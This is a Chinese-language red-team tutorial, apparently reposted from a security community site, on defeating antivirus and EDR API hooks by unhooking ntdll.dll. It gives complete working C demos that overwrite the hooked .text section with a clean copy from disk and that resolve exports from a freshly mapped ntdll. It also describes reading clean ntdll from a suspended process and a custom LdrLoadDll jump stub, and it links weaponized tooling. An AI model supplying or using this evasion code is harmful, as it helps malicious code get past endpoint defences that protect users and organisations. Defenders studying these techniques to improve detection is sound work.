文章首发阿里云先知社区:https://xz.aliyun.com/t/14310
了解过免杀的都知道,杀软会对敏感 api 进行 hook 操作,而我们通常有两种方式进行解决,syscall 和 unhook,而我们在 syscall 的时候有时候会导致堆栈不完整,在杀软看来是一些异常的行为,比如下图可以看到 RIP 指针直接已经在 Program 里面了,
(正常的情况如下图所示:
)
而我们在 unhook 时就完全不需要这种考虑,因为我们用的是一段新的 ntdll 或者其他 dll 的内存,调用的发出在杀软看起来是合理的,接下来我们一起来学习一下。
从磁盘重载 ntdll
原理图如下:
可以看出来,其实就是从磁盘上 clean 的 ntdll 的.text 端覆盖内存中被 hook 的ntdll 的.text 端。
我们 unhook 的流程如下,如果对 pe 文件结构有了解的话会看的比较轻松。
- 将 ntdll.dll 的新副本从磁盘映射到进程内存
- 查找被 hook 的 ntdll.dll的 .text 部分的虚拟地址
- 获取ntdll.dll基址
- 模块基址 + 模块的 .text 段 VirtualAddress
- 查找新映射ntdll.dll的 .text 段的虚拟地址
- 获取被 hook 的 ntdll .text 段的内存写的权限
- 将新映射的ntdll.dll的 .text 段覆盖到被 hook 的 ntdll 的 .text 部分
- 还原之前被 hook 的 ntdll .text 段的内存被原本的内存权限
下面是一个简单的 demo:
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
int main()
{
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
这种方式是最简单的并且理论上可以对所有的 dll 进行 hook,但是缺点是需要读取磁盘上的 dll,而如果杀软对读取系统 dll 的行为进行了监控,那么我们这种方式其实是不好使的。
PE 文件映射绕过 hook
这个思路是在https://idiotc4t.com/defense-evasion/load-ntdll-too 学到的,当我们通过CreateFileMapping,MapViewOfFile 等 api 进行文件映射时,果被打开文件是 PE格式,那么这个文件会按照内存展开,那么我们猜想是不是这个被第二次载入内存的ntdll是不是就是一个干净的ntdll,能不能帮助我们绕过一些 hook。
demo 如下:
#include <Windows.h>
#include <stdio.h>
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName)
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if (hModule == NULL)
return NULL;
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
{
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
DWORD dwCounter = pExportDirectory->NumberOfNames;
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(uiLibraryAddress + DEREF_32(uiNameArray));
if (strcmp(cpExportedFunctionName, lpProcName) == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
break;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
fpResult = NULL;
}
return fpResult;
}
int main() {
HANDLE hNtdllfile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hNtdllMapping = CreateFileMapping(hNtdllfile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID lpNtdllmaping = MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0);
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddressR((HMODULE)lpNtdllmaping, "NtAllocateVirtualMemory");
int err = GetLastError();
LPVOID Address = NULL;
SIZE_T uSize = 0x1000;
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
return 0;
};
这种方式需要使用CreateFileMapping,MapViewOfFile 等 api 进行文件映射,此类 api 也会被杀软关注,并且我们无法保证打开哪些文件才可以获得干净的 ntdll,因此感觉这个方式的实战价值不算很高。
通过创建挂起的进程来获得干净的 ntdll
前置条件
我们都知道,每个进程的内存里都会加载各种各样的 dll,每个程序不同,其加载的 dll 也都不同,但是每个进程都应该加载Kernel32.dll、Kernelbase.dll 和 Ntdll.dll 等,因为这些 DLL 包含进程与操作系统交互所需的低级指令和 API 调用。而我们发现,在同一个系统上的两个进程在相同基地址处加载了相同的系统 DLL。
并且系统 dll 的每个模块也被加载到了相同的地址
原理
我们来看一下当我们程序在加载的时候,edr 的 dll 和系统 dll 被一起加载进来
此时,我们的进程是挂起的,我们去看一些 Nt 函数时,会发现他们还没有被 hook
而当我们恢复挂起的进程之后,可以发现 Nt 函数此时被 hook 了
此时我们可以确定两件事情:
- 新挂起进程的内存是干净的,没有被 hook 的
- 所有的系统 dll 在被加载时的内存空间都是一样的
所以我们接下来要做的事情就是想办法从干净的内存读取 ntdll 并且覆盖到当前进程被 hook 的内存空间。
我们可以用 ReadProcessMemory 这个 api 来读取其他进程的内存,我们先提前计算好 ntdll 在内存空间中的位置,然后直接去读取就可以了,demo 代码可以看 https://github.com/dosxuz/PerunsFart,并且 github 有一个应用此技术武器化的工具:https://github.com/optiv/Freeze
通过自定义的跳转函数进行 unhook
我们都知道加载 dll 的函数是 LoadLibrary,这个函数在 kernel32.dll 里面,然而这个函数在 ntdll 里面对应的函数时 LdrLoadDLL,而我们这个方法的主角就是 LdrLoadDLL。
在 x64 平台下,我们去查看这个函数的汇编指令
而我们就可以自实现一个函数,汇编如下:
其中第一条指令时 LdrLoadDLL 的第一条指令,我们自己实现,防止此条指令被 hook,变成 jmp 指令。
address 就是内存中 LdrLoadDLL 第二条指令的位置,在 x64 下就是 address(LdrLoadDLL)+5
mov qword ptr[rsp + 10h] //原始的LdrLoadDll中汇编,使用我们自己的防止被hook
mov r11,address //address(LdrLoadDLL)+5
jmp rll
ret
这里附上一张我在 vs 调试时的反汇编,我们只需要将这些字节起来放到一起就可以了。
首先先完成了LdrLoadDLL 的第一条指令,然后将address(LdrLoadDLL)+5 放到 r11 寄存器中,然后我们直接 jmp r11 就可以了,因为 r11 里面的地址就是LdrLoadDLL 第二条指令的地址,我们这样做也是避免了LdrLoadDLL 被 hook,第一条指令变成 jmp edr.address。
并且我们这样做所有的函数发出都是从 ntdll 里面发出的,如图:
这样我们就自己实现了一个跳转函数,demo 代码可以参考
https://github.com/trickster0/LdrLoadDll-Unhooking,原作者只提供了 x64 下的代码,我自己稍微改了一下兼容 x64 和 x86 ,地址:https://github.com/fdx-xdf/LdrLoadDll-Unhooking-x86-x64/
详细的分析过程可以参考:https://killer.wtf/2022/01/19/CustomJmpUnhook.html
参考文章:
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://idiotc4t.com/defense-evasion/load-ntdll-too
https://www.optiv.com/insights/source-zero/blog/sacrificing-suspended-processes
https://dosxuz.gitlab.io/post/perunsfart/
https://killer.wtf/2022/01/19/CustomJmpUnhook.html